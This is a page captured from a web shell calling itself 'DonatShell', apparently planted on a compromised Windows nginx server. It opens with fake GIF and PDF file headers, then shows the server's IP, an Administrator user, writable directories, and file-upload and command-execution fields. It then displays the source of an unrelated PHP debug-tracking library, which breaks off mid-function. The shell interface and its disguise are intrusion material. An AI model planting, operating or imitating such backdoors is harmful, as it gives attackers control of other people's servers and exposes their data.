GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/functions_debug.phpinc
<?
// /common/functions_debug.phpinc
// Contains the debug functions that can track your program as it includes other files or calls functions.
// These functions can also track or display variable values or text messages.

// For *.php pages: Tracking is started by including the application.phpinc file. It is ended by including the pageFooter.phpinc file.
// For *.phpinc files: Tracking is started by calling the debugTrackBegin() function. It is ended by calling the debugTrackEnd() function.
// For functions: Tracking is started by calling the debugTrackFunctionBegin($fn, $fna) function. It is ended by calling the debugTrackFunctionEnd($fn) function.

// Functions:
// dc() 																										Return true if $_SESSION['DEBUG']['code'] or $debugOn are true else false.
// debugTrack($trackLine, $track_li, $track_html, $track_print)	Add a debug track line.
// debugTrackBegin()																						Begin tracking for this include file.
// debugTrackEnd()																							End tracking for this include file.
// debugTrackFunction($fn, $fna, $fnr)													Track a function with return value.
// debugTrackFunctionBegin($fn, $fna, $fnr)											Begin tracking a function call. This works like debugTrackBegin() but for functions.
// debugTrackFunctionEnd($fn)																		End tracking a function call. This works like debugTrackEnd() but for functions.
// printGETPOST($varDisplay)																		Displays the values of the $_GET and $_POST arrays.
// printLine($messageText)																			Displays the $messageText as well as the current filename and line.
// printQuery($resultName, $result)															Displays a SQL query in HTML table format with the calling filename and line number.
// printVar($varName, $var, $varDisplay, $varShow)							Displays the value of a variable or array with the calling file and line number.
// printVarArray($var, $keys, $bShow, $cShow, $fShow, $pShow)		Called from printVar to print an array variable.
// setDebugOff($messageText)																		Sets $debugOn to false.
// setDebugOn($messageText)																			Sets $debugOn to true.
// setDebugValue($messageText, $value, $debug_backtrace)				Called by setDebugOff() or setDebugOn() to set $debugOn to true or false.
// varValue($var)																								Returns the value of a variable or array ready for output or tracking.

#$GLOBALS['DEBUG']['codePage'] = false;
#$_SESSION['DEBUG']['codeSite'] = false;
$DEBUG_functions_debug = false;

if ( !isset($_SESSION['DEBUG']['codeSite']) ) $_SESSION['DEBUG']['codeSite'] = false;
if ( !isset($_SESSION['DEBUG']['footSite']) ) $_SESSION['DEBUG']['footSite'] = false;
if ( !isset($_SESSION['DEBUG']['headSite']) ) $_SESSION['DEBUG']['headSite'] = false;
if ( !isset($_SESSION['DEBUG']['lockSite']) ) $_SESSION['DEBUG']['lockSite'] = false;
if ( !isset($_SESSION['DEBUG']['memorySite']) ) $_SESSION['DEBUG']['memorySite'] = false;
if ( !isset($_SESSION['DEBUG']['mysqlSite']) ) $_SESSION['DEBUG']['mysqlSite'] = false;
if ( !isset($GLOBALS['DEBUG']['codePage']) ) $GLOBALS['DEBUG']['codePage'] = false;
if ( !isset($GLOBALS['DEBUG']['footPage']) ) $GLOBALS['DEBUG']['footPage'] = false;
if ( !isset($GLOBALS['DEBUG']['headPage']) ) $GLOBALS['DEBUG']['headPage'] = false;
if ( !isset($GLOBALS['DEBUG']['lockPage']) ) $GLOBALS['DEBUG']['lockPage'] = false;
if ( !isset($GLOBALS['DEBUG']['memoryPage']) ) $GLOBALS['DEBUG']['memoryPage'] = false;
if ( !isset($GLOBALS['DEBUG']['mysqlPage']) ) $GLOBALS['DEBUG']['mysqlPage'] = false;
require('functions_debug_d.phpinc');

// varQuote($var)
// Returns the $var within single quotes ('') if not numeric else returns $var.
function varQuote($var) {
  if ( !is_numeric($var) ) {
    return "'".$var."'";
  } else {
    return $var;
  }
}

// The following css classes should be defined for the tracking and display to work correctly:
// .pv_a  { color:#FF0000; font-weight:bold; }	/* array name */
// .pv_as { color:#FF0000; }										/* sub-array name */
// .pv_b  { font-weight:bold; }									/* bold */
// .pv_e  { color:#FF0000; }										/* error */
// .pv_f  { color:#0000CC; }										/* function */
// .pv_fl { color:#999999; }										/* file and line */
// .pv_i  { color:#0000FF; }										/* info */
// .pv_l  { text-align:left; }									/* left */
// .pv_n  { color:#00FF00; } 										/* notice */
// .pv_pw { color:#FF6600; font-weight:bold; }	/* password */
// .pv_q  { color:#9900FF; } 										/* query */
// .pv_qc { color:#FF00FF; }										/* query count */
// .pv_ua { color:#00CC00; }										/* user authenticated */
// .pv_un { color:#CC0000; }										/* user not authenticated */
// .pv_v  { color:#666666; }										/* variable name */
// .pv_w  { color:#FF9900; }										/* warning */

// printDivVar($varName, $var, $varDisplay, $debug_backtrace, $ksorti)
// Display a variable within a + (expand) - (collapse) box.
// See the printVar function for a description of the function arguments.
function printDivVar($varName, $var='', $varDisplay='', $debug_backtrace=false, $ksorti=true) {
	if ( is_resource($var) ) {
		$num_rows = mysqli_num_rows($var);
	} else {
		$num_rows = 0;
	}
	if ( !$debug_backtrace ) $debug_backtrace = debug_backtrace();
	$id = 'id'.uuid();
	if ( $num_rows <> 0 ) {
		if ( $num_rows <> 1 ) {
			$num_rows = $num_rows." rows";
		} else {
			$num_rows = "1 row";
		}
		// Show file line.
		if ( strstr($varDisplay,'f') ) {
			$fShow = '';
		} else {
			$fShow = ' <span class="d_s_fl">'.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].'</span>';
		}
?>
		<div id="<?=$id?>" class="d_s_l"><a href="javascript: divShow('<?=$id?>div'); divHide('<?=$id?>');"><span class="d_s_q"><?=$varName?></span>:<?=$num_rows?>:+</a><?=$fShow?></div>
		<div id="<?=$id?>div" class="d_s_h d_s_l"><a href="javascript: divShow('<?=$id?>'); divHide('<?=$id?>div');"><span class="d_s_q"><?=$varName?>=</span>:<?=$num_rows?>:=</a><?=$fShow?>
<?
		printVar($varName,$var,'v',$debug_backtrace);
?>
		</div>
<?
	} else {
		printVar($varName,$var,'',$debug_backtrace);
	}
}

// debugTrack($trackLine, $track_li, $track_html, $track_print)
// Add a debug track line.
// $trackLine = The text to add to $_SESSION['TRACK'].
// $track_li = Put the trackLine inside <li></li> tags. Default it true.
// $track_html = Encode the trackLine so it is HTML code safe. Default it false.
// $track_print = Display the trackLine as well as adding it to $_SESSION['TRACK']. Default it false.
function debugTrack($trackLine = '', $track_li = true, $track_html = false, $track_print = false) {
	global $debugTrack;																// False = skip tracking for this track line. Default is true.
	if (!isset($debugTrack)) $debugTrack = true;			// Ensure $debugTrack is set.
  if (!$debugTrack) return;													// Return if $debugTrack is false.
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
  if ($debugTrack) {
    if (!isset($_SESSION['TRACK'])) { $_SESSION['TRACK'] = '<span class="pv_b pv_w">TRACK unset.</span> In '."<b>$file</b>:$line. ($filepath)<br>\n"; }
    if (!isset($_SESSION['DEBUG'])) { $_SESSION['TRACK'] .= '<span class="pv_b pv_w">DEBUG unset.</span> In '."<b>$file</b>:$line. ($filepath)<br>\n"; $_SESSION['DEBUG'] = array(); }
    if (!isset($_SESSION['DEBUG']['track'])) { $_SESSION['TRACK'] .= '<span class="pv_b pv_w">DEBUG track unset.</span> In '."<b>$file</b>:$line. ($filepath)<br>\n"; $_SESSION['DEBUG']['track'] = array(); }
    if (!isset($_SESSION['DEBUG']['track']['indent'])) { $_SESSION['TRACK'] .= '<span class="pv_b pv_w">DEBUG track indent unset.</span> In '."<b>$file</b>:$line. ($filepath)<br>\n"; $_SESSION['DEBUG']['track']['indent'] = ''; }
    if ($track_html) $trackLine = htmlView($trackLine);
    if ($track_li) {
      $_SESSION['TRACK'] .= debugIndent()."<li>".$trackLine.":".$file.":".$line." (".$filepath.")"."</li>\n";
    } else {
      $_SESSION['TRACK'] .= debugIndent().$trackLine.":".$file.":".$line." (".$filepath.")"."\n";
    }
  }
  if ($track_print) echo $trackLine.":".$file.":".$line." (".$filepath.")"."<br>\n";
}

// debugTrackBegin()
// Begin tracking for this include file.
function debugTrackBegin() {
	global $debugTrack;																// False = skip tracking for this include file. Default is true.
	if (!isset($debugTrack)) $debugTrack = true;			// Ensure $debugTrack is set.
  if (!$debugTrack) return;													// Return if $debugTrack is false.
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
  global $thisFile;	// Including filename.
	global $thisLine;	// Including file line.
	#$_SESSION['TRACK'] .= "<li>".basename(__FILE__).":".__LINE__.": "."Session variables already set.\n";
	if (!isset($_SESSION['TRACK'])) $_SESSION['TRACK'] = '<span class="pv_b pv_w">DEBUG tracking unset.</span> In '."<b>$file</b>:$line. ($filepath)<br>\n";	// Display warning if $_SESSION['TRACK'] is not set.
	$_SESSION['TRACK'] .= debugIndent()."<li><b>$file</b>:$line. ($filepath)";	// Start the track line.
	if ($thisFile != '') $_SESSION['TRACK'] .= " (include from $thisFile:$thisLine)";	// If $thisFile is set then this file was included in another file.
	$_SESSION['TRACK'] .= "\n";	// End the track line
	$_SESSION['DEBUG']['track']['indent']++;
	$_SESSION['DEBUG']['track']['ol']++;
	$_SESSION['TRACK'] .= debugIndent()."<ol>\n"; $_SESSION['DEBUG']['track']['indent']++;
}

function debugOlDec() {
	$_SESSION['DEBUG']['track']['ol']--;
	if ( $_SESSION['DEBUG']['track']['ol'] < 0 ) $_SESSION['DEBUG']['track']['ol'] = 0;
}

function debugIndent() {
	if ( $_SESSION['DEBUG']['track']['indent'] < 0 ) {
		return str_repeat('  ', $_SESSION['DEBUG']['track']['indent']);
	} else {
		return '';
	}
}

function debugIndentDec() {
	$_SESSION['DEBUG']['track']['indent']--;
	if ( $_SESSION['DEBUG']['track']['indent'] < 0 ) $_SESSION['DEBUG']['track']['indent'] = 0;
}


// debugTrackEnd()
// End tracking for this include file.
// if ($debugTrack && substr($file, 0, 9) != 'functions') debugTrackEnd() // Only call debugTrackEnd() if not called from a functions* file.
function debugTrackEnd() {
	global $debugTrack;																// False = skip tracking for this include file. Default is true.
	if (!isset($debugTrack)) $debugTrack = true;			// Ensure $debugTrack is set.
  if (!$debugTrack) return;													// Return if $debugTrack is false.
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
	if ( !isset($_SESSION['TRACK']) ) $_SESSION['TRACK'] = '<span class="pv_b pv_w">DEBUG tracking unset.</span> In '."<b>$file</b>:$line. ($filepath)<br>\n";
	debugIndentDec(); debugOlDec();
	
	$_SESSION['TRACK'] .= debugIndent()."</ol>\n";
	$_SESSION['TRACK'] .= debugIndent().'End '."$file:$line.\n";
	debugIndentDec(); $_SESSION['TRACK'] .= debugIndent()."</li>\n";
}

// debugTrackFunction($fn, $fna, $fnr)
// Track a function call.
//  $fn = function name.
// $fna = the function arguments.
// $fnr = the function result.
function debugTrackFunction($fn, $fna, $fnr) {
	global $debugTrack;																// False = skip tracking for this function. Default is true.
	if (!isset($debugTrack)) $debugTrack = true;			// Ensure $debugTrack is set.
  if (!$debugTrack) return;													// Return if $debugTrack is false.
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
  $_SESSION['TRACK'] .= debugIndent()."<li><span class=\"pv_n\">$fn($fna)=".varValue($fnr)."</span></li>\n";
}

// debugTrackFunctionBegin($fn, $fna, $fnr)
// Begin tracking a function call.
//  $fn = function name.
// $fna = the function arguments.
function debugTrackFunctionBegin($fn, $fna) {
	global $debugTrack;																// False = skip tracking for this function. Default is true.
	if (!isset($debugTrack)) $debugTrack = true;			// Ensure $debugTrack is set.
  if (!$debugTrack) return;													// Return if $debugTrack is false.
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
  $_SESSION['DEBUG']['track']['indent']++; 
  $_SESSION['TRACK'] .= $fn."(".$fna.")\n"."<ol>\n";
  $_SESSION['DEBUG']['track']['indent']++;
  $_SESSION['DEBUG']['track']['ol']++;
}

// debugTrackFunctionEnd($fn)
// End tracking a function call.
//  $fn = function name.
function debugTrackFunctionEnd($fn) {
	global $debugTrack;																// False = skip tracking for this function. Default is true.
	if (!isset($debugTrack)) $debugTrack = true;			// Ensure $debugTrack is set.
  if (!$debugTrack) return;													// Return if $debugTrack is false.
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
  debugIndentDec(); 
  $_SESSION['TRACK'] .= "</ol>\n";
  debugIndentDec();
  debugOlDec();
}

// pageCleanupBegin()
// Call at the begining of the page and then use pageCleanupEnd() to get a cleanup list.
// Store an array of PHP variable names currently set.
function pageCleanupBegin() {
	if ( !isset($_SESSION['pageCleanupCount']) ) $_SESSION['pageCleanupCount'] = 0;
	$_SESSION['pageCleanupCount']++;
	$_SESSION['pageCleanup'][$_SESSION['pageCleanupCount']] = array();
	foreach ($GLOBALS as $thisVar => $temp ) {
		$_SESSION['pageCleanup'][$_SESSION['pageCleanupCount']][] = $thisVar;
	}
	natcasesort($_SESSION['pageCleanup'][$_SESSION['pageCleanupCount']]);
}
// pageCleanupEnd()
// Call at the end of the page to get a cleanup list.
// Compares current PHP variable names with those stored and output cleanup list.
function pageCleanupEnd() {
	$cleanup__ = array();
	$cleanup_f = array();
	$cleanup_v = array();
	$cleanup = array();
	if ( !isset($_SESSION['pageCleanupCount']) ) $_SESSION['pageCleanupCount'] = 0;
	if ( !isset($_SESSION['pageCleanup'][$_SESSION['pageCleanupCount']]) ) $_SESSION['pageCleanup'][$_SESSION['pageCleanupCount']] = array();
	foreach ($GLOBALS as $thisVar => $temp ) {
		if ( !in_array($thisVar,$_SESSION['pageCleanup'][$_SESSION['pageCleanupCount']]) ) {
			if ( substr($thisVar,0,2) == '__' ) {
				$cleanup__[] = $thisVar;
			} else {
				if ( substr($thisVar,0,2) == 'f_' ) {
					$cleanup_f[] = $thisVar;
				} else {
					if ( substr($thisVar,0,2) == 'v_' ) {
						$cleanup_v[] = $thisVar;
					} else {
						$cleanup[] = $thisVar;
					}
				}
			}
		}
	}
	unset($_SESSION['pageCleanup'][$_SESSION['pageCleanupCount']]);
	$_SESSION['pageCleanupCount']--;
	natcasesort($cleanup__);
	natcasesort($cleanup_f);
	natcasesort($cleanup_v);
	natcasesort($cleanup);
	$debug_backtrace = debug_backtrace();
	echo '<span class="d_s_fl">Cleanup '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].'</span><span class="d_s_fp">('.$debug_backtrace[0]['file'].')</span>'."<br>\n";
	echo "<b>#Cleanup.<br>\n";
	foreach ($cleanup__ as $thisVar ) {
		echo 'unset($'.$thisVar.");<br>\n";
	}
	foreach ($cleanup_v as $thisVar ) {
		echo 'unset($'.$thisVar.");<br>\n";
	}
	foreach ($cleanup_f as $thisVar ) {
		echo 'unset($'.$thisVar.");<br>\n";
	}
	foreach ($cleanup as $thisVar ) {
		echo 'unset($'.$thisVar.");<br>\n";
	}
	echo "</b><br>\n";
}
// printGETPOST($varDisplay)
// Displays the values of the $_GET and $_POST arrays.
function printGETPOST($varDisplay = 'f') {
  printVar('$_GET', $_GET, $varDisplay);
  printVar('$_POST', $_POST, $varDisplay);
}

// printLine($messageText)
// Displays the $messageText as well as the current filename and line.
function printLine($messageText = '',$varDisplay = '') {
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
	$vShow = '';
	if ( stripos($varDisplay, 'a') !== false ) $vShow .= ' d_s_a';  // Display value as array = .d_s_an
	if ( stripos($varDisplay, 'b') !== false ) $vShow .= ' d_s_b';  // Display value as bold = .d_s_b.
	if ( stripos($varDisplay, 'e') !== false ) $vShow .= ' d_s_d';  // Display value as scaler = .d_s_d.
	if ( stripos($varDisplay, 'e') !== false ) $vShow .= ' d_s_e';  // Display value as error = .d_s_e.
	if ( stripos($varDisplay, 'i') !== false ) $vShow .= ' d_s_i';  // Display value as info = .d_s_i.
	if ( stripos($varDisplay, 'n') !== false ) $vShow .= ' d_s_n';  // Display value as notice = .d_s_n.
	if ( stripos($varDisplay, 'q') !== false ) { $vShow .= ' d_s_q'; $messageText = str_replace("\t","  ",$messageText); }  // Display value as query = .d_s_q.
	if ( stripos($varDisplay, 'r') !== false ) $vShow .= ' d_s_r';  // Display value as resource = .d_s_r.
	if ( stripos($varDisplay, 's') !== false ) $vShow .= ' d_s_as'; // Display value as sub-array = .d_s_ap.
	if ( stripos($varDisplay, 'w') !== false ) $vShow .= ' d_s_w';  // Display value as warning = .d_s_w.
	if ( stripos($varDisplay, '/') !== false ) { $vBR = '<br>'; } else { $vBR = ''; }  // Include beginning <br> tag..
	$vShow = trim($vShow); if ( $vShow == '' ) $vShow .= ' d_s_i';   // Display value as info = .d_s_i. Default.
	$vShow = '<span class="'.$vShow.'">';
  echo $vBR.$vShow.$messageText,'</span> <span class="d_s_fl">'.$file.':'.$line.' <span class="d_s_fp">('.$filepath.')</span></span><br>';
}

// printVar($varName, $var, $varDisplay, $debug_backtrace, $ksorti)
// Displays and tracks the value of a variable or array with the calling file and line number.
//    $varName = The name of the variable.
//        $var = The variable.
// $varDisplay = / = Show <br> tag before output.
//               f = Do not show calling filename and line.
//               d = Display name as array scaler name = .d_s_as.
//               h = Do not show the variable value.
//               l = Do not show the line but add <li></li> tags and add it to the TRACKing data.
//               p = Show passwords. Othwewise keys with 'password' or 'pw' in the key name are replaced with ********.
//               t = Display value without making it HTML safe.
//               v = Do not show the variable name.
// $varDisplay = Any one of the following: Default is to display value as scaler = .d_s_v.
//               a = Display value as array = .d_s_an.
//               b = Display value as bold = .d_s_b.
//               e = Display value as error = .d_s_e.
//               i = Display value as info = .d_s_i.
//               n = Display value as notice = .d_s_n.
//               q = Display value as query = .d_s_q.
//               r = Display value as resource = .d_s_r.
//               s = Display value as sub-array = .d_s_ap.
//               w = Display value as warning = .d_s_an.
// Examples:    '/p' Show a br before output, show passwords, and show calling filename and line.
//              'ef' Show varName using class="d_s_e" without showing calling filename and line.
function printVar($varName, $var='', $varDisplay='', $debug_backtrace=false, $ksorti=true) {
	global $bShow, $fShow, $lShow, $nShow, $pShow, $vShow, $vvShow, $vnShow, $ksorti;
	if ( !$debug_backtrace ) {
		$debug_backtrace = debug_backtrace(); // Get caller information.
		#echo "<br>\n";print_r($debug_backtrace);echo "<br>\n";
		#printVar('$debug_backtrace',$debug_backtrace,'/',$debug_backtrace,false);
	}
  $file = basename($debug_backtrace['0']['file']);  // Function caller file filename.
  $filepath = $debug_backtrace['0']['file'];        // Function caller file filepath.
  $line = $debug_backtrace['0']['line'];            // Function caller file line number.
  // / = Show <br> tag before output.
	$bShow = ( stripos($varDisplay, '/') !== false ? '<br>' : '' );
	// f = Do not show calling filename and line.
  $fShow = (stripos($varDisplay, 'f') === false ? ' <span class="d_s_fl">'.$file.':'.$line.' <span class="d_s_fp">('.$filepath.')</span></span>' : '');
	// Do not show the variable value.
  $vvShow = (stripos($varDisplay, 'h') !== false ? false : true);
	// l = Do not show the line but add <li></li> tags and add it to the TRACKing data.
  $lShow = (stripos($varDisplay, 'l') !== false ? true : false);
	#if ( !isset($nShow) || $nShow == '' ) $nShow = ( stripos($varDisplay, 'd') !== false ? ' class="d_s_ad"' : '' );
	$nShow = ( stripos($varDisplay, 'd') !== false ? ' class="d_s_ad"' : '' );
	#if ( !isset($nShow) ) $nShow = '';
	#if ( stripos($varDisplay, 'd') !== false ) $nShow .= ' class="d_s_ad"';  // Display name as array scaler name = .d_s_as.
	#echo d_s_DEBUG().$nShow;
	if ( stripos($varDisplay, 'l') !== false ) { $lShow =  true; } else { $lShow = false; }
	// p = Show passwords. Othwewise keys with 'password' or 'pw' in the key name are replaced with ********.
  $pShow = (stripos($varDisplay, 'p') !== false ? true : false);
	// t = Display value without making it HTML safe.
  $tShow = (stripos($varDisplay, 't') !== false ? false : true);
	// v = Do not show the variable name.
  $vnShow = (stripos($varDisplay, 'v') !== false ? false : true);
	$vShow = '';
	if ( stripos($varDisplay, 'a') !== false ) $vShow .= ' d_s_a';  // Display value as array = .d_s_an
	if ( stripos($varDisplay, 'b') !== false ) $vShow .= ' d_s_b';  // Display value as bold = .d_s_b.
	if ( stripos($varDisplay, 'e') !== false ) $vShow .= ' d_s_e';  // Display value as error = .d_s_e.
	if ( stripos($varDisplay, 'i') !== false ) $vShow .= ' d_s_i';  // Display value as info = .d_s_i.
	if ( stripos($varDisplay, 'n') !== false ) $vShow .= ' d_s_n';  // Display value as notice = .d_s_n.
	if ( stripos($varDisplay, 'q') !== false ) { $vShow .= ' d_s_q'; $var = str_replace("\t","  ",$var); }  // Display value as query = .d_s_q.
	if ( stripos($varDisplay, 'r') !== false ) $vShow .= ' d_s_r';  // Display value as resource = .d_s_r.
	if ( stripos($varDisplay, 's') !== false ) $vShow .= ' d_s_as'; // Display value as sub-array = .d_s_ap.
	if ( stripos($varDisplay, 'w') !== false ) $vShow .= ' d_s_w';  // Display value as warning = .d_s_w.
	$vShow = trim($vShow); if ( $vShow == '' ) $vShow .= ' d_s_d';   // Display value as scaler = .d_s_d. Default.
	$vShow = '<span class="'.$vShow.'">';
	$displayTrack = '';
	$displayTrack .= '<div class="d_s_l ">'.d_s_DEBUG();
	if (false) {
		if ($vnShow) {
			if ($displayTrack != '') $displayTrack .= d_s_DEBUG().'<span class="d_s_n">'.' $vnShow=true $varDisplay='."'".$varDisplay."'</span> ";
		} else {
			if ($displayTrack != '') $displayTrack .= d_s_DEBUG().'<span class="d_s_n">'.' $vnShow=false $varDisplay='."'".$varDisplay."'</span> ";
		}
		if ($lShow) $displayTrack .= d_s_DEBUG()."\$lShow = true ";
	}
	if ( !is_resource($var) ) {
		// This is not a resource.
		if (isset($var)) {
			if (!is_array($var) && !is_object($var)) {
					if ( $nShow == '') $nShow = ' class="d_s_v"';
					if ($vvShow) {
						if ($var === true) {
							if ( $vnShow ) {
								$displayTrack .= d_s_DEBUG()."$bShow<span$nShow>$varName ===</span> <span class=\"d_s_vt\">true</span>$fShow\n";
							} else {
								$displayTrack .= d_s_DEBUG()."$bShow<span class=\"d_s_vt\">true</span>$fShow</span>\n";
							}
						} else {
							if ($var === false) {
								if ( $vnShow ) {
									$displayTrack .= d_s_DEBUG()."$bShow<span$nShow>$varName ===</span> <span class=\"d_s_vf\">false</span>$fShow\n";
								} else {
									$displayTrack .= d_s_DEBUG()."$bShow<span class=\"d_s_vf\">false</span>$fShow</span>\n";
								}
							} else {
								if ( $vnShow ) {
									if ( $tShow ) {
										$displayTrack .= d_s_DEBUG()."$bShow<span$nShow>$varName ==</span>$vShow ".htmlView(str_replace("\\", "\\\\", varQuote($var)))."</span>$fShow\n";
									} else {
										$displayTrack .= d_s_DEBUG()."$bShow<span$nShow>$varName ==</span>$vShow ".str_replace("\\", "\\\\", varQuote($var))."</span>$fShow\n";
									}
								} else {
									if ( $tShow ) {
										$displayTrack .= d_s_DEBUG()."$bShow$vShow".htmlView(str_replace("\\", "\\\\", varQuote($var)))."</span>$fShow\n";
									} else {
										$displayTrack .= d_s_DEBUG()."$bShow$vShow".str_replace("\\", "\\\\", varQuote($var))."</span>$fShow\n";
									}
								}
							}
						}
					} else {
						if ( $vnShow ) {
							$displayTrack .= d_s_DEBUG()."$bShow"."$fShow\n";
						} else {
							$displayTrack .= d_s_DEBUG()."$bShow<span$nShow>$varName</span>"."$fShow\n";
						}
					}
			} else {
				$displayTrack .= printVarArray(d_s_DEBUG().$varName, $var);
			}
		} else {
			if ( $nShow == '') $nShow = ' class="d_s_e"';
			$displayTrack .= d_s_DEBUG()."$bShow<span$nShow>$varName</span> is unset.$fShow\n";
		}
	} else {
		// This is a resource.
		if ( $nShow == '') $nShow = ' class="d_s_r"';
		switch ( get_resource_type($var) ) {
			case 'mysql result':
				if ($vShow == '') $vShow = '<span class="d_s_q">';
				#$nShow = ' class="d_s_r"';
				$displayTrack = printVarQuery(d_s_DEBUG().$varName, $var, $debug_backtrace);
				break;
			default:
				$displayTrack .= d_s_DEBUG()."$bShow<span$nShow>$varName</span> is resource type ".get_resource_type($var)."$fShow\n";
				break;
		}
	}
	$displayTrack .= d_s_DEBUG()."</div>\n";
	if (!$lShow) {
		echo $displayTrack;
	} else {
		if ( isset($_SESSION['TRACK']['data']) ) {
			$_SESSION['TRACK'] .= '<li>'.$displayTrack.'</li>';
		} else {
			echo d_s_DEBUG().'After TRACK display" ',$displayTrack;
		}
	}
	#unset($displayTrack);
	unset($bShow);
	unset($fShow);
	unset($ksorti);
	unset($lShow);
	unset($nShow);
	unset($pShow);
	unset($vShow);
	unset($vnShow);
	unset($vvShow);
	return $displayTrack;
}

// printVarArray($var, $keys, $bShow, $vShow, $fShow, $nShow, $pShow, $vvShow);
// Called from printVar to print an array variable.
#function printVarArray($varName, $var, $keys) {
function printVarArray($varName, $var) {
  global $bShow, $fShow, $lShow, $nShow, $pShow, $vShow, $vvShow, $vnShow, $ksorti;
	$displayTrack = "$bShow$vShow".$varName."=</span>$fShow<br>\n";
  #$bShow = '';
	if ( $ksorti == true ) $var = ksorti($var);
  foreach ($var as $key => $value) {
    if (!is_array($value)) {
      if (!$pShow && (stristr($key, 'password') || stristr($key, 'pw'))) $value = '***hidden***';
      if ($value === true) {
				if ( !is_numeric($key) ) {
					$displayTrack .= d_s_DEBUG()."<span class=\"d_s_ad\">".$varName."['".$key."'] ===</span> <span class=\"d_s_vt\">true</span><br>\n";
				} else {
					$displayTrack .= d_s_DEBUG()."<span class=\"d_s_ad\">".$varName."[".$key."] ===</span> <span class=\"d_s_vt\">true</span><br>\n";
				}
      } else {
        if ($value === false) {
					if ( !is_numeric($key) ) {
						$displayTrack .= d_s_DEBUG()."<span class=\"d_s_ad\">".$varName."['".$key."'] ===</span> <span class=\"d_s_vf\">false</span><br>\n";
					} else {
						$displayTrack .= d_s_DEBUG()."<span class=\"d_s_ad\">".$varName."[".$key."] ===</span> <span class=\"d_s_vf\">false</span><br>\n";
					}
        } else {
					if ( !is_numeric($key) ) {
						$displayTrack .= d_s_DEBUG()."<span class=\"d_s_ad\">".$varName."['".$key."'] ==</span> <span class=\"d_s_d\">".htmlView(str_replace("\\", "\\\\", varQuote($value)))."</span><br>\n";
					} else {
						$displayTrack .= d_s_DEBUG()."<span class=\"d_s_ad\">".$varName."[".$key."] ==</span> <span class=\"d_s_d\">".htmlView(str_replace("\\", "\\\\", varQuote($value)))."</span><br>\n";
					}
        }
      }
      $bShow = '';
    } else {
      $fShow = '';
      #$displayTrack .= "".printVarArray($varName."['".$key."']", $value, $keys."['".$key."']");
      $displayTrack .= "".printVarArray(d_s_DEBUG().$varName."['".$key."']", $value);
      $bShow = '';
    }
  }
  return $displayTrack;
}

// printVarQuery($resultName, $result, $debug_backtrace = false)
// Called by printVar to display a mysql result.
function printVarQuery($resultName, $result, $debug_backtrace = false) {
  global $bShow, $fShow, $lShow, $nShow, $pShow, $vShow, $vvShow, $vnShow, $ksorti;
	if ( !$debug_backtrace ) {
		$debug_backtrace = debug_backtrace(); // Get caller information.
	}
  $file = basename($debug_backtrace['0']['file']);  // Function caller file filename.
  $filepath = $debug_backtrace['0']['file'];        // Function caller file filepath.
  $line = $debug_backtrace['0']['line'];            // Function caller file line number.
	$displayTrack = '';
	if ($vnShow) {
		$displayTrack .= d_s_DEBUG()."$bShow<div class=\"d_s_l \"><span$nShow>$resultName</span>\n".d_s_DEBUG();
	} else {
		$displayTrack .= "<div class=\"d_s_l \">\n".d_s_DEBUG();
	}
  $num_rows = mysqli_num_rows($result);
	if( !$num_rows ) {
		if ($vnShow) {
			$displayTrack .= d_s_DEBUG().': <span class="d_s_e">0 rows</span>.'."$fShow <!-- ".__LINE__." -->\n".d_s_DEBUG();
		}
    return $displayTrack;
	}
	if ( $num_rows <> 1 ) {
		if ($vnShow) {
			$displayTrack .= d_s_DEBUG().": $num_rows rows: $fShow\n".d_s_DEBUG();
		}
	} else {
		if ($vnShow) {
			$displayTrack .= d_s_DEBUG().": 1 row: $fShow\n".d_s_DEBUG();
		}
	}
	mysqli_data_seek($result, 0);
	$row = mysqli_fetch_assoc($result);
  // Begin the table.
  $displayTrack .= d_s_DEBUG()."<table>\n  <tr>\n";
  // Print the column names as table headers.
  foreach($row as $key=>$value) {
    $displayTrack .= "    <th>$key</th>";
  }
  $displayTrack .= "\n  </tr>\n";
  // Loop through the table, printing the field values in table cells.
	mysqli_data_seek($result, 0);
  while ($row = mysqli_fetch_assoc($result)) {
    $displayTrack .= "  <tr>\n";
    foreach($row as $key=>$value) {
